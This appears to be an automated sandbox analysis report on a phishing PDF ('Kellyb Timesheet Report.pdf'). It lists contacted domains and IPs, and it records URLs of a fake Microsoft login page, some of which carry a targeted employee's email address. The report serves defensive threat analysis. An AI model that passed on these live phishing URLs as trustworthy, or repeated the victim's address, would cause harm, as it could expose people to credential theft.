https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg	0%	Avira URL Cloud	safe
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
sharedfile4rom1nternet.com	185.156.109.33	true	false	high
CDG-efz.ms-acdc.office.com	40.99.217.146	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.196	true	false	high
robustwaresinc.com	185.156.109.33	true	false	unknown
dclima.cl	45.239.218.70	true	false	high
autologon.microsoftazuread-sso.com	20.190.159.68	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js	false		high
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3NoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tLyIsImRvbWFpbiI6InNoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tIiwia2V5IjoiYVRFZmpzeHZNZ2poIiwicXJjIjoia2VsbHliQGNody1pbmMuY29tIiwiaWF0IjoxNzMyMTk2Njk2LCJleHAiOjE3MzIxOTY4MTZ9.aCrPTx5bOzj8-bu_SfTIwTSI7NHhCBsePbctsJmgBNM	false	Avira URL Cloud: safe	unknown
https://dclima.cl/.pdf/encryption/00152689/php/connection/	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/owa/?login_hint=kellyb%40chw-inc.com	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg	false	Avira URL Cloud: safe	unknown
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif	false	Avira URL Cloud: safe	unknown
http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js	false	Avira URL Cloud: safe	unknown
https://autologon.microsoftazuread-sso.com/nv5.com/winauth/ssoprobe?client-request-id=b0951b3f-ba13-4731-cd07-d95d7c2f52fd&_=1732196716841	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8e611d89ebaa43cf/1732196680337/ad45d54012d674851f9503b1966de446ee693528b3a461cb4509d56d0e7d958c/GlR4mQ8jn4h0ySM	false		high
https://sharedfile4rom1nternet.com/common/instrumentation/dssostatus	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8e611d89ebaa43cf/1732196680340/RJ79sfLZiDrchgI	false		high
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	Avira URL Cloud: safe	unknown
https://robustwaresinc.com/?rebzqncw?&email=a2VsbHliQGNody1pbmMuY29t	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://robustwaresinc.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js	false	Avira URL Cloud: safe	unknown
https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t	false		unknown
https://sharedfile4rom1nternet.com/?qrc=kellyb%40chw-inc.com	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg	false	Avira URL Cloud: safe	unknown
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e611d89ebaa43cf&lang=auto	false		high
https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg	false	Avira URL Cloud: safe	unknown
https://dclima.cl/.pdf/encryption/00152689/php/connection	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://github.com/jquery/globalize	chromecache_186.14.dr	false		high
https://chrome.cloudflare-dns.com	f64aee7c-f98d-48ef-9bc7-22a10174345d.tmp.3.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false		high
http://knockoutjs.com/	chromecache_204.14.dr, chromecache_202.14.dr, chromecache_203.14.dr, chromecache_200.14.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_225.14.dr, chromecache_196.14.dr, chromecache_183.14.dr, chromecache_204.14.dr, chromecache_185.14.dr, chromecache_229.14.dr, chromecache_213.14.dr, chromecache_200.14.dr	false		high
https://login.windows-ppe.net	chromecache_205.14.dr	false		high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_202.14.dr, chromecache_203.14.dr	false		high
http://www.json.org/json2.js	chromecache_202.14.dr, chromecache_203.14.dr	false		high
https://robustwaresinc.com/?rebzqncw?&email=	chromecache_216.14.dr	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	chromecache_205.14.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_204.14.dr, chromecache_202.14.dr, chromecache_203.14.dr, chromecache_200.14.dr	false		high
http://feross.org	chromecache_196.14.dr, chromecache_185.14.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.156.109.33	sharedfile4rom1nternet.com	Latvia	35913	DEDIPATH-LLCUS	false
40.99.217.146	CDG-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
23.195.76.153	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
164.132.95.123	unknown	France	16276	OVHFR	false
20.190.159.68	autologon.microsoftazuread-sso.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
107.22.247.231	unknown	United States	14618	AMAZON-AESUS	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
45.239.218.70	dclima.cl	Brazil	269733	INTERPITTELECOMUNICACIONESLTDACL	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560191
Start date and time:	2024-11-21 14:43:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Kellyb Timesheet Report.pdf
Detection:	MAL
Classification:	mal52.phis.winPDF@36/126@27/14
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 23.22.254.206, 54.227.187.23, 52.5.13.197, 52.202.204.11, 162.159.61.3, 172.64.41.3, 2.23.197.184, 199.232.214.172, 2.19.126.143, 2.19.126.149, 142.250.185.195, 216.58.206.78, 108.177.15.84, 34.104.35.123, 20.190.160.22, 40.126.32.68, 40.126.32.133, 40.126.32.76, 40.126.32.138, 20.190.160.20, 20.190.160.17, 40.126.32.74, 23.38.98.96, 23.38.98.84, 23.38.98.102, 23.38.98.104, 142.250.186.163, 142.250.185.238
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, ssl-delivery.adobe.com.edgekey.net, login.live.com, a122.dscd.akamai.net, update.googleapis.com, csp.microsoft.com, azurefd-t-prod.trafficmanager.net, adscarat.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, e40491.dscg.akamaiedge.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, tracking.adscarat.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, geo2.adobe.com, r4.res.office365.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Kellyb Timesheet Report.pdf

Simulations

Behavior and APIs

Time	Type	Description
08:44:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

LLM Input / Output

Input	Output
URL: https://sharedfile4rom1nternet.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://sharedfile4rom1nternet.com
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You have received a secured PDF file. Please review and sign on Chw-inc Portal. Follow the link below to view documents.", "prominent_button_name": "Print / Preview PDF File", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We needs to review the security of your connection before proceeding.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Tired of seeing this? Rename your personal Microsoft account.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "It looks like this email is used with more than one account from Microsoft. Which one do you want to use?", "prominent_button_name": "unknown", "text_input_field_labels": [ "Work or school account", "Personal account" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJ Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
104.18.94.41	estimate Cost.pdf	Get hash	malicious	Unknown	Browse
	https://url.uk.m.mimecastprotect.com/s/1u4eCqxlyukZk7ltZfxHE-ELz?domain=andy-25.simvoly.com	Get hash	malicious	HTMLPhisher	Browse
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse
	https://account.metasystemchat.com/	Get hash	malicious	Unknown	Browse
	Secured Audlo_secpod.com_1524702658.html	Get hash	malicious	Unknown	Browse
	http://t.co/626Aq6uRYN	Get hash	malicious	Unknown	Browse
	Encrypt DOC2024.11.20.1983928 shared with you!.msg	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse
	797F2AEA-982C-4B8E-84F4-E90FD6A89D27.1_originalmail.eml	Get hash	malicious	Unknown	Browse
23.195.76.153	Demande de proposition du Fondation qu#U00e9b#U00e9coise du cancer.pdf	Get hash	malicious	Unknown	Browse
	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse
	Open 99 Restaurants Benefits Enrollment.pdf	Get hash	malicious	HTMLPhisher	Browse
	DOC-72212087.pdf	Get hash	malicious	HTMLPhisher	Browse
	[EXTERNAL] Complete with AdobeSignPDF_ Approve and Sign TRCOT.eml	Get hash	malicious	Unknown	Browse
	Secured Doc-[uiC-22723].pdf	Get hash	malicious	HTMLPhisher	Browse
	Secured Doc-[qnz-33059].pdf	Get hash	malicious	HTMLPhisher	Browse
164.132.95.123	https://tracking.ee.mailbpm.com/tracking/click?d=tG1yaMgwjqrrt4zFHWvdI0ch0Zc12kasTtnw_KadCzLWlJkRLfJ68hYUloMuNCLArMXN-4gdGh1fW_tXUZTZBJwHqyHRYcGaDOc80goD-999Mr--tqK7nrVjXf9Rd1y4dlD0NaAimjHreYs9NF6Gxq6yRzp3K7cS7IqBOFXz4S9j4TwRk7nX_Hi1yptnVsnVXM3iXFaCLQK7eqHSZRmdAtV_RLj3oHAhzo6aUvQoCix42omNLpY8iBEUSOhLHZCC_Uft077mE-l_9MSh7Bbxjml4VNETD3Blsk9_IB1A3F9_alpe9QSX6pdX-8eAOdtNXSafN-yzL8GKqaiM8q-lNWdghkEC1DOCV0ofdlbPZPQqLUZOoJpEM-1ZTVEUcDqpeQ2	Get hash	malicious	Unknown	Browse
	http://tracking.theimpco.com/tracking/click?d=OrpweRVshItmHO3qVpYwg0JJ3qp4iuwmt5687ge2H9uFpmeuDd2X4dPYczAnrgigX6DFu-Km6YtBvUpjEWnC0qAPektAg_1gGuxaDYDl5nf8rOcHvuOtOBIWknNeVHzB3g2	Get hash	malicious	Unknown	Browse
	http://tracking.autorecycles.com/tracking/click?d=OrpweRVshItmHO3qVpYwgxv2bLW1RvchguKAT0tWwa-YMNBNlOhejdMMRFkcBCtyNQVGgcfjnRT2fomJfKy_oXvuV32lLppBtXr7Il-zakoxwo5oPgoRL3Xf-t2mEetvAO4fjcG5KWJMxSmSgq3RQjQ1	Get hash	malicious	Unknown	Browse
	http://tracking.compliancestrain.com/tracking/click?d=bqs7JtdvHm_6E4rH_XV6OoKE_XOn9VG3VaO6vtPTPcwCjkTwPQ3ulS-eyx0hrf2rdloCMXvm8VqcJMeLUViiTa91wOtSBYYT79xZ1cS2K_tSmmD5qR7HMTH1lcLGWK8yBTSPyVKuFvAoQ-N6Sv0h_3siJ67SsXCRVw3rzriz4CVf70b_mdNSlmZQnP1iZBUPK4d02nLBekej0aKntOXFXjeBg1AR7tslePifN3yXUxJdbR_XL4Vg2w3VAWK0bhs7rjY7bJLVH2NcPnNSrcg5AgcxCOIxlYKU86lchWe8udfWAcaNoskeOUK-TaPhylupGbvNeDOKSyFr-TCdA1ruWEf1jPem27CSiu1U7jQgTWgqVeCRu0OKfl8ju8pUr7yidQ2	Get hash	malicious	Unknown	Browse
	http://tracking.webinaremail.com/tracking/click?d=bHDxxXk5_XeCzOOhwxrFu-xAvcUrocgR1TazMmJwyzHsyynTZi0QwC_I3JleughS79uLoligXsa5WDL31fYw3Yh8YkmxsqPvKOPXvMyazpy6EfBCQa8BPjnTehskOuyaLRe3db9iDi9PJfqu-BBsGnbV3t2hqLIlqCf4GwqsevWlFvH4sJu1zY3_ktMj8a4vIB7AP3gfAeSEIhygEfSkvMlh9v-VGrLDkGjywMGAZ--XxhezlW2fcC420cDohnkP8w2	Get hash	malicious	Unknown	Browse
	http://tracking.hrtrainy.com/tracking/click?d=8GfIxNWIvwzBgdV9MfnkP1hbb43D2LUxmcLBN6Ao1F2D_WRFKuWkHkkvK31Ju4WncA7okDHN547OCQI8rXxkK0fvoYGhSPr2ikMTkITaAEKwWPjSnn0Dh_TuY3ZxbWfrPYhU2wt49BEWtq-nAl_10RGyF0wyRoD45RnISQ2LL6-gqWaUv4QSJRBxLylmebd46dQsVe1nQ2_DoCJuN06rzsQ1	Get hash	malicious	Unknown	Browse
	http://tracking.vedupdate.com/tracking/click?d=1k1ihPA66PZCuLWj2723CooG7W1qjCbMOZOaHhQFcoxVzieX6RuPHWcWVjdWtiqrru39deCSQ5gZar-DUza0TJxxmagxs1dmp0zEjwOttpjxp0EuuRJXMnOMULgb4pobXuS3Ddm-DKe--QnUh69d0bKOgo8fky6RcORsR6V7fIVX0KphYYCjVoW5UxuexLI0xg2	Get hash	malicious	Unknown	Browse
	http://tracking.99conferencemail.com/tracking/click?d=0v4ImruNXUufLEeC3aWL3ZyZ6nOPRYsrWG2V_snrkBsChm6KaC97qjPu9E-XLTgxE1c4iRo6THct_DXD16zCa5oAKYHqkzqr2Pm0hAXj79r-CqJpWc2rItk6SDqzYyrZpM8OBd50VJ39nYChRTugLKzooj8I8I84FqVNL2X-wBWcwDf85p737iP8qzGASHExS2QxPAOo9m_Q_aI6QAaf20-IvPta3OBAZTljKpSPjCOXFx-Gb8mS9EH8uZeNQIR5q2S6_Z07RC9MnXNaSc7VNz81	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CDG-efz.ms-acdc.office.com	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	52.98.228.34
	Secured Audlo_secpod.com_1524702658.html	Get hash	malicious	Unknown	Browse	52.98.178.146
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse	52.97.233.50
	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	52.97.233.98
